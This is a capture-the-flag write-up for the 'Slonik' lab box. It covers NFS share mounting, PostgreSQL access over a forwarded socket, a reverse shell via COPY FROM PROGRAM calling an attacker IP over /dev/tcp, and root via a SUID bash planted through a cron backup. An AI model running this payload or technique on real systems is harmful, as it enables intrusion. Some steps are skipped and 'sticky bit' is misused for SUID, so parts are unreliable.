Slonik is a linux box created around reusing a socket and the ability to port forward them. It starts with a box running NFS, and using showmount our able to see two. There is /var/backups, and /home. Home was interesting, with there being a .bash_history and a .psql_history to see that we have commands previously ran. Using rpcinfo you can see we have sockets being used. From the information we have we can create a directory /tmp/sock and us it and the ending pid in the .bash_history. Using ssh we can connect using the socket created by postgres. Once connected we can get a reverse shell using a POC from hacktricks. Once getting a shell, we run pspy64 to see a script running from cron /usr/bin/backup. This script will back up everything postgres HOME directory. By copying /usr/bin/bash to our HOME directory in main. Then giving it the sticky bit and making it executable we can get root.
Initial Nmap
1 2 3 4
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 111/tcp open rpcbind syn-ack ttl 63 2049/tcp open nfs syn-ack ttl 63
NFS
Showing the mounts available on the machine.
1 2 3 4
$ showmount -e 10.10.104.168 Export list for 10.10.104.168: /var/backups * /home *
Mounting the file share.
1 2 3 4 5 6 7
$ mkdir nfs $ mount -t nfs 10.10.104.168:/home ./nfs -o nolock $ ls -lsa total 12 4 drwxr-xr-x 3 root root 4096 Oct 24 2023 . 4 drwxr-xr-x 5 root root 4096 Dec 4 02:46 .. 4 drwxr-x--- 5 1337 1337 4096 Oct 24 2023 service
Seeing the UUID being 1337 we can create a user with the specific UUID:
Once we have our forward setup we can access psql on the box. Then we can get our reverse shell.
1 2 3 4 5 6 7 8 9
$ psql -h /tmp/sock/ -U postgres psql (17.0 (Debian 17.0-1+b2), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1)) Type "help" for help.
postgres=# DROP TABLE IF EXISTS cmd_exec; DROP TABLE postgres=# CREATE TABLE cmd_exec(cmd_output text); CREATE TABLE postgres=# COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.8.4.29/80 0>&1"';
If we look on the box using pspy64 we will see a process running every 1min. This file being /usr/bin/backup and if we read the file we can grasp what it’s doing.
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l) if [ "$count" -gt 10 ]; then /usr/bin/rm -rf /var/backups/* fi
PrivEsc
We know this file is using pg_basebackup, which backs up the postgres HOME directory. Then this gets backed up to /opt/backups/current/. This running as root, we can copy bash to our current folder /var/lib/postgresql/14/main, then set the SUID bit as well as making it executable.